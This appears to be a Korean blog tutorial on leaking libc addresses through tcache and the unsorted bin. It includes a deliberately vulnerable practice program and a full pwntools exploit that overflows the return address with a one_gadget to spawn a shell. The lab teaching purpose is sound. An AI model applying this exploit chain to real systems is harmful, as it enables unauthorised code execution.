상세 컨텐츠

본문 제목

tcache memory leak

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 13. 16:41

본문

728x90
반응형

tcache에서 라이브러리 영역 주소 릭하는 방법

 

1. 7개의 tcache_entry 모두 채워서 tcache를 사용하지 않도록 한 후 unsorted bin을 만든다.

2. tcache에서 허용하지 않는 크기 할당 후 해제해 unsorted bin을 만든다.

-tcache에 들어가는 청크 크기: 0x10 ~ 0x408

-0x420 이상 할당 후 해제 시 unosorted bin에 들어간다.

3. _IO_FILE_Arbitrary Read + tcache dup 사용한다.

 

1, 2 방법은 기존의 2.23에서 unsorted bin을 다루는 과정과 동일하다.

(2.26 이상 버전에서는 청크 크기만 0x420 이상 할당/해제해주면 된다.)


방법2: tcache에서 허용하지 않는 크기 할당 후 해제해 unsorted bin을 만들고 라이브러리 릭을 한다.

 

malloc_chunk 헤더 최소 크기는 16바이트이므로, tcache는 최대 0x408 크기까지 허용한다.

더 큰 크기의 힙은 해제 시 tcache를 사용하지 않고 unsorted bin에 삽입해서 main_arena 영역의 주소를 FD와 BK에 쓸 수 있다.

main_arena난 libc.so.6 라이브러리에 존재하는 구조체이므로 해당 주소를 릭 하면 라이브러리 함수 주소를 구할 수 있다.

 

unsorted bin에 들어간 힙 청크의 크기와 같거나 작은 크기의 힙 할당하면 같은 영역을 재사용하게 되고, 

힙 데이터를 출력할 수 있으면 main_arena 주소를 구할 수 있다.

 

예제1

//gcc -o leak1 leak1.c
#include<stdio.h>
#include<stdlib.h>
  
int main(){
	char *ptr = malloc(0x420);
    char *ptr2 = malloc(0x420);
 
    free(ptr);
 
    //ptr = malloc(0x420);
    ptr = malloc(0x200);
 
    printf("0x%lx\n", *(long long*)ptr);
 
    return 0;
 }

첫 번째 힙 청크 해제 후: 첫 번째 힙 청크가 unsorted bin에 들어간 것을 확인할 수 있고, FD와 BK에 main_arena+96이 저장된 것을 확인할 수 있다.

 

unsorted bin에 들어간 힙 청크 크기보다 작은 크기(0x200)로 할당한 후 힙 상태이다.

해제되었던 청크에서 할당된 것을 확인할 수 있다.

malloc 함수는 힙 할당 시 데이터 영역을 초기화하지 않아서 데이터를 재사용할 수 있다.

calloc 함수는 할당과 동시에 초기화를 해서 이 방법으로는 주소를 알아낼 수 없다.


예제2

//gcc -o leak2 leak2.c -fno-stack-protector
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int main(){
    char buf[0x100];
    char *ptr[10];
    int ch, idx;
    int i=0;

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    while(1){
        printf("> ");
        scanf("%d", &ch);
        switch(ch){
            case 1:
                if(i > 10){
                    printf("Do not overflow\n");
                    exit(0);
                }
                ptr[i] = malloc(0x420);
                printf("Data: ");
                read(0, ptr[i], 0x420);
                i++;
                break;
            case 2:
                printf("idx: ");
                scanf("%d", &idx);
                free(ptr[idx]);
                break;
            case 3:
                printf("idx: ");
                scanf("%d", &idx);
                if(i > 10){
                    printf("Do not overflow\n");
                    exit(0);
                }
                printf("data: ");
                read(0, ptr[idx], 0x420);
                break;
            case 4:
                printf("idx: ");
                scanf("%d", &idx);
                if(i > 10){
                    printf("Do not overflow\n");
                    exit(0);
                }
                printf("idx: %d\n", idx);
                printf("data: %s\n", ptr[idx]);
                break;
            case 5:
                read(0, buf, 300);
                return 0;
            default:
                break;
        }
    }
    return 0;
}
                                          

우분투 18버전 컴파일: gcc -fno-stack-protector -o leak2 leak2.c -no-pie

 

익스 시나리오

 

(1) 0x420 크기 청크 2개 할당

- 하나만 할당하면 topchunk와 병합되므로 2개 할당한다.

 

(2) 청크 해제 -> unsorted bin에 들어간다.

- FD와 BK에 main_arena 영역 주소가 적힌다.

첫 번째 청크 해제 후 확인해보면 unsortedbin에 들어갔고, 해제한 청크의 FD와 BK에 main_arena+96이 적혀있다.

 

(3) 4번 메뉴에서 데이터 출력한다 -> libc leak || 힙 할당 후 4번 메뉴에서 데이터 출력

- 재할당 시 첫 번째 청크 영역에서 힙 할당해주지만, 데이터도 같이 입력받아서 그냥 4번에서 해제한 영역의 데이터를 출력해서 libc leak을 진행했다.

- one gadget 주소 구한다.

- offset: 0x3ebca0

 

 

(4) 5번 메뉴에서 스택 오버플로우가 발생하는 것을 이용해서 return address에 one gadget 적는다.

- return 0하면서 리턴 시 쉘 획득할 수 있다.

payload = 'A"*(0x110+0x8) + p64(one_gadget)

 

 

익스 코드

#!/usr/bin/python
from pwn import *

context.log_level = 'debug'
p = process("./leak2")
elf = ELF("./leak2")

def malloc(data):
    p.sendlineafter("> ", '1')
    p.sendafter("Data: ", data)

def free(idx):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))

def edit(idx, data):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(idx))
    p.sendafter("data: ", data)

def print_data(idx):
    p.sendlineafter("> ", '4')
    p.sendlineafter("idx: ", str(idx))

def overflow(data):
    p.sendlineafter("> ", '5')
    p.send(data)

malloc('A'*0x10) #0
malloc('B'*0x10) #1

free(0)

#malloc("") #2
#print_data(2)

print_data(0)
p.recvuntil("data: ")
leak = u64(p.recv(6) + '\x00\x00')
log.info("main_arena+96: "+hex(leak))
libcBase = leak - 0x3ebca0
one_gadget = libcBase + 0x10a38c
gdb.attach(p)

overflow('A'*(0x110+0x8)+p64(one_gadget))

p.interactive()

방법 1: tcache_entry에 7개의 힙 청크 모두 채우고 해제되는 힙 청크는 unsorted bin에 들어가게 한다.

 

//gcc -o full_entry full_entry.c -no-pie
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int main(){
    uint64_t *ptr[10];
  
    int i;
    
    for(i=0;i<9;i++){
        ptr[i] = malloc(0x100);
    }   
    
    for(i=0;i<7;i++){ //tcache_entry
        free(ptr[i]);
    }   
    
    free(ptr[7]); //unsorted bin
    
    printf("fd: %lp\n", *ptr[7]);
    
    return 0;
}  

- 7번째 힙 청크까지는 해제 시 tcache_entry에 등록되지만, 이후 해제되는 힙 청크는 unsorted bin에 들어간다.

- unsorted bin에 들어간 힙 청크의 FD와 BK에는 main_arena 영역의 주소가 적힌다.

- 8번째  힙 해제 시 topchunk와 인접해 병합되지 않도록 9개 할당한 것,

 


방법3: _IO_FILE_Arbitrary Read + tcache dup 사용한다.

 

 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

ptmalloc2 allocator in GLIBC 2.29  (0) 2024.03.02
_IO_FILE  (0) 2021.01.01
House of Force  (0) 2020.06.12
Unsafe Unlink  (0) 2020.06.12
Poison NULL Byte  (0) 2020.06.12

관련글 더보기